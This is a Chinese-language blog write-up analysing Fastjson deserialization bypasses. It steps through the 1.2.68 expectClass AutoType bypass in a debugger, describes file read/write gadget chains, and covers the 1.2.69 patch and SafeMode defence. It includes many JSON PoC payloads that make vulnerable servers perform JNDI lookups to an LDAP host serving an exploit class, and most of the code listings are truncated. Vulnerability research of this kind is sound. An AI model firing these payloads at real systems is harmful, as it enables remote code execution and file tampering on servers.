org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup类需要 ignite-core、ignite-jta 和 jta 依赖org.apache.shiro.jndi.JndiObjectFactory类需要 shiro-core 和 slf4j-api 依赖
漏洞原理
新 Gadget 绕过黑名单限制。
org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup 类 PoC:
1 | {"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup", "jndiNames":["ldap://localhost:1389/Exploit"], "tm": {"$ref":"$.tm"}} |
org.apache.shiro.jndi.JndiObjectFactory 类 PoC:
1 | {"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://localhost:1389/Exploit","instance":{"$ref":"$.instance"}} |
EXP:
1 | import com.alibaba.fastjson.JSON; |
0x13 1.2.68 反序列化漏洞
详细分析:https://b1ue.cn/archives/506.html
expectClass 绕过 AutoType,这个洞可以稍微看一下,感觉是可以结合利用的
前提条件
- Fastjson <= 1.2.68
- 利用类必须是 expectClass 类的子类或实现类,并且不在黑名单中
漏洞原理
绕过 checkAutoType() 函数的关键点在于其第二个参数 expectClass,可以通过构造恶意 JSON 数据、传入某个类作为 expectClass 参数再传入另一个 expectClass 类的子类或实现类来实现绕过 checkAutoType() 函数执行恶意操作
简单地说,本次绕过 checkAutoType() 函数的攻击步骤为:
- 先传入某个类,其加载成功后将作为 expectClass 参数传入
checkAutoType()函数; - 查找 expectClass 类的子类或实现类,如果存在这样一个子类或实现类其构造方法或
setter方法中存在危险操作则可以被攻击利用;
漏洞复现
简单地验证利用 expectClass 绕过的可行性,先假设 Fastjson 服务端存在如下实现 AutoCloseable 接口类的恶意类 VulAutoCloseable:
1 | public class VulAutoCloseable implements AutoCloseable { |
EXP:
1 | import com.alibaba.fastjson.JSON; |
无需开启 AutoType,直接成功绕过 CheckAutoType() 的检测从而触发执行:

调试分析
直接在 CheckAutoType() 函数中打断点开始调试,第一次是传入 AutoCloseable 类进行校验,这里 CheckAutoType() 函数的 expectClass 参数是为 null 的:

往下,直接从缓存 Mapping 中获取到了 AutoCloseable 类:然后获取到这个 clazz 之后进行了一系列的判断,clazz 是否为 null,以及关于 internalWhite 的判断,internalWhite 就是内部加白的名单,很显然我们这里肯定不是,内部的白名单一定是非常安全的

然后后面这个判断里面出现了 expectClass,先判断 clazz 是否不是 expectClass 类的继承类且不是 HashMap 类型,是的话抛出异常,否则直接返回该类。,我们这里没有 expectClass,所以会直接返回 AutoCloseable 类:
1 | if (clazz != null) { |
接着,返回到 DefaultJSONParser 类中获取到 clazz 后再继续执行,根据 AutoCloseable 类获取到反序列化器为 JavaBeanDeserializer,然后应用该反序列化器进行反序列化操作:

往里走,调用的是 JavaBeanDeserializer 的 deserialze() 方法进行反序列化操作,其中 type 参数就是传入的 AutoCloseable类:

往下的逻辑,就是解析获取 PoC 后面的类的过程。这里看到获取不到对象反序列化器之后,就会进去如图的判断逻辑中,设置 type 参数即 java.lang.AutoCloseable 类为 checkAutoType() 方法的 expectClass 参数来调用 checkAutoType() 函数来获取指定类型,然后再获取指定的反序列化器:

此时,第二次进入 checkAutoType() 函数,typeName 参数是 PoC 中第二个指定的类,expectClass 参数则是 PoC 中第一个指定的类:
由于 java.lang.AutoCloseable 类并非其中黑名单中的类,因此 expectClassFlag 被设置为 true:

往下,由于 expectClassFlag 为 true 且目标类不在内部白名单中,程序进入 AutoType 开启时的检测逻辑:

由于我们定义的 VulAutoCloseable 类不在黑白名单中,因此这段能通过检测并继续往下执行。
往下,未加载成功目标类,就会进入 AutoType 关闭时的检测逻辑,和上同理,这段能通过检测并继续往下执行:

往下,由于 expectClassFlag 为 true,进入如下的 loadClass() 逻辑来加载目标类,但是由于 AutoType 关闭且 jsonType 为 false,因此调用 loadClass() 函数的时候是不开启 cache 即缓存的:

跟进该函数,使用 AppClassLoader 加载 VulAutoCloseable 类并直接返回:

往下,判断是否 jsonType、true 的话直接添加 Mapping 缓存并返回类,否则接着判断返回的类是否是 ClassLoader、DataSource、RowSet 等类的子类,是的话直接抛出异常,这也是过滤大多数 JNDI 注入 Gadget 的机制:

前面的都能通过,往下,如果 expectClass 不为 null,则判断目标类是否是 expectClass 类的子类,是的话就添加到 Mapping 缓存中并直接返回该目标类,否则直接抛出异常导致利用失败,这里就解释了为什么恶意类必须要继承AutoCloseable接口类,因为这里 expectClass 为 AutoCloseable 类、因此恶意类必须是 AutoCloseable 类的子类才能通过这里的判断:
1 | if (expectClass != null) { |
之后就是恶意类的触发了
简单总结
第一个 @type 进去什么都没有发生;但是第一个 @type 是作为第二个指定的类里面的 expectClass。所以说白了,loadClass 去作用的类是第一个 @type;如果这个 @type 是可控的恶意类,可以造成命令执行攻击。
并且需要加载的目标类是 expectClass 类的子类或者实现类
实际利用
前面漏洞复现只是简单地验证绕过方法的可行性,在实际的攻击利用中,是需要我们去寻找实际可行的利用类的
主要是寻找关于输入输出流的类来写文件,IntputStream 和 OutputStream 都是实现自 AutoCloseable 接口的
我寻找 gadget 时的条件是这样的。
- 需要一个通过 set 方法或构造方法指定文件路径的 OutputStream
- 需要一个通过 set 方法或构造方法传入字节数据的 OutputStream,参数类型必须是 byte[]、ByteBuffer、String、char[]其中的一个,并且可以通过 set 方法或构造方法传入一个 OutputStream,最后可以通过 write 方法将传入的字节码 write 到传入的 OutputStream
- 需要一个通过 set 方法或构造方法传入一个 OutputStream,并且可以通过调用 toString、hashCode、get、set、构造方法 调用传入的 OutputStream 的 close、write 或 flush 方法
以上三个组合在一起就能构造成一个写文件的利用链,我通过扫描了一下 JDK ,找到了符合第一个和第三个条件的类
分别是 FileOutputStream 和 ObjectOutputStream,但这两个类选取的构造器,不符合情况,所以只能找到这两个类的子类,或者功能相同的类
复制/读取文件
利用类:org.eclipse.core.internal.localstore.SafeFileOutputStream
依赖:
1 | <dependency> |
在 SafeFileOutputStream 类的源码中,其 SafeFileOutputStream(java.lang.String, java.lang.String) 构造函数判断了如果 targetPath 文件不存在且 tempPath 文件存在,就会把 tempPath 复制到 targetPath 中,正是利用其构造函数的这个特点来实现 Web 场景下的任意文件读取:
1 | public SafeFileOutputStream(String targetPath, String tempPath) throws IOException { |

写入文件
利用类:com.esotericsoftware.kryo.io.Output
依赖:
1 | <dependency> |
Output 类主要用来写内容,它提供了 setBuffer() 和 setOutputStream() 两个 setter 方法可以用来写入输入流,其中 buffer 参数值是文件内容,outputStream 参数值就是前面的 SafeFileOutputStream 类对象,而要触发写文件操作则需要调用其 flush() 函数:
1 | /** Sets a new OutputStream. The position and total are reset, discarding any buffered bytes. |
如果可以写入文件的话,我们这里可以写入一些恶意文件。
接着,就是要看怎么触发 Output 类 flush() 函数了,flush() 函数只有在 close() 和 require() 函数被调用时才会触发,其中 require() 函数在调用 write 相关函数时会被触发。这也是链子的思维
其中,找到 JDK 的 ObjectOutputStream 类,其内部类 BlockDataOutputStream 的构造函数中将 OutputStream 类型参数赋值给 out 成员变量,而其 setBlockDataMode() 函数中调用了 drain() 函数、drain() 函数中又调用了 out.write() 函数,满足前面的需求:
1 | /** |
对于 setBlockDataMode() 函数的调用,在 ObjectOutputStream 类的有参构造函数中就存在:
1 | public ObjectOutputStream(OutputStream out) throws IOException { |
但是 Fastjson 优先获取的是 ObjectOutputStream 类的无参构造函数,因此只能找 ObjectOutputStream 的继承类来触发了
只有有参构造函数的 ObjectOutputStream 继承类:com.sleepycat.bind.serial.SerialOutput
1 | <dependency> |
SerialOutput 类的构造函数中是调用了父类 ObjectOutputStream 的有参构造函数,这就满足了前面的条件了:
1 | public SerialOutput(OutputStream out, ClassCatalog classCatalog) |
poc:
1 | { |
EXP:
1 | import com.alibaba.fastjson.JSON; |
tips:
org.eclipse.core.internal.localstore.SafeFileOutputStream中,如果 tempPath 不存在,则BufferedOutputStream就是 targetPath,相对的,如果 tempPath 存在 targetPath 不存在,则BufferedOutputStream就是 tempPath- 写入文件内容其实有限制,有的特殊字符并不能直接写入到目标文件中,比如写不进 PHP 代码等
补丁分析
看 GitHub 官方的 diff,主要在 P arserConfig.java 中:https://github.com/alibaba/fastjson/compare/1.2.68%E2%80%A61.2.69#diff-f140f6d9ec704eccb9f4068af9d536981a644f7d2a6e06a1c50ab5ee078ef6b4

对比看到 expectClass 的判断逻辑中,对类名进行了 Hash 处理再比较哈希黑名单,并且添加了三个类,网上已经有了利用彩虹表碰撞的方式得到的新添加的三个类分别为:
| 版本 | 十进制Hash值 | 十六进制Hash值 | 类名 |
| 1.2.69 | 5183404141909004468L | 0x47ef269aadc650b4L | java.lang.Runnable |
| 1.2.69 | 2980334044947851925L | 0x295c4605fd1eaa95L | java.lang.Readable |
| 1.2.69 | -1368967840069965882L | 0xed007300a7b227c6L | java.lang.AutoCloseable |
这就简单粗暴地防住了这几个类导致的绕过问题了
SafeMode
官方参考:https://github.com/alibaba/fastjson/wiki/fastjson_safemode
在 1.2.68 之后的版本,在 1.2.68 版本中,fastjson 增加了 safeMode 的支持。safeMode 打开后,完全禁用 autoType。所有的安全修复版本 sec10 也支持 SafeMode 配置。
代码中设置开启 SafeMode 如下:
1 | ParserConfig.getGlobalInstance().setSafeMode(true); |
开启之后,就完全禁用 AutoType 即 @type 了,这样就能防御住 Fastjson 反序列化漏洞了。
具体的处理逻辑,是放在 checkAutoType() 函数中的前面,获取是否设置了 SafeMode,如果是则直接抛出异常终止运行:

0x14 其他绕过黑名单的 Gadget
这里补充下其他一些 Gadget,可自行尝试
注意,均需要开启 AutoType,且会被 JNDI 注入利用所受的 JDK 版本限制。
1.2.59
com.zaxxer.hikari.HikariConfig 类 PoC:
1 | {"@type":"com.zaxxer.hikari.HikariConfig","metricRegistry":"ldap://localhost:1389/Exploit"}或{"@type":"com.zaxxer.hikari.HikariConfig","healthCheckRegistry":"ldap://localhost:1389/Exploit"} |
1.2.61
org.apache.commons.proxy.provider.remoting.SessionBeanProvider 类 PoC:
1 | {"@type":"org.apache.commons.proxy.provider.remoting.SessionBeanProvider","jndiName":"ldap://localhost:1389/Exploit","Object":"a"} |
1.2.62
org.apache.cocoon.components.slide.impl.JMSContentInterceptor 类 PoC:
1 | {"@type":"org.apache.cocoon.components.slide.impl.JMSContentInterceptor", "parameters": {"@type":"java.util.Hashtable","java.naming.factory.initial":"com.sun.jndi.rmi.registry.RegistryContextFactory","topic-factory":"ldap://localhost:1389/Exploit"}, "namespace":""} |
1.2.68
org.apache.hadoop.shaded.com``.zaxxer.hikari.HikariConfig 类 PoC:
1 | {"@type":"org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig","metricRegistry":"ldap://localhost:1389/Exploit"}或{"@type":"org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig","healthCheckRegistry":"ldap://localhost:1389/Exploit"} |
com.caucho.config.types.ResourceRef 类 PoC:
1 | {"@type":"com.caucho.config.types.ResourceRef","lookupName": "ldap://localhost:1389/Exploit", "value": {"$ref":"$.value"}} |
未知版本
org.apache.aries.transaction.jms.RecoverablePooledConnectionFactory 类 PoC:
1 | {"@type":"org.apache.aries.transaction.jms.RecoverablePooledConnectionFactory", "tmJndiName": "ldap://localhost:1389/Exploit", "tmFromJndi": true, "transactionManager": {"$ref":"$.transactionManager"}} |
org.apache.aries.transaction.jms.internal.XaPooledConnectionFactory 类 PoC:
1 | {"@type":"org.apache.aries.transaction.jms.internal.XaPooledConnectionFactory", "tmJndiName": "ldap://localhost:1389/Exploit", "tmFromJndi": true, "transactionManager": {"$ref":"$.transactionManager"}} |
0x15 写在后面
看 python 服务监听也知道是半夜写的了,毕竟拖太久了,本质上也不是特别难的东西
参考:





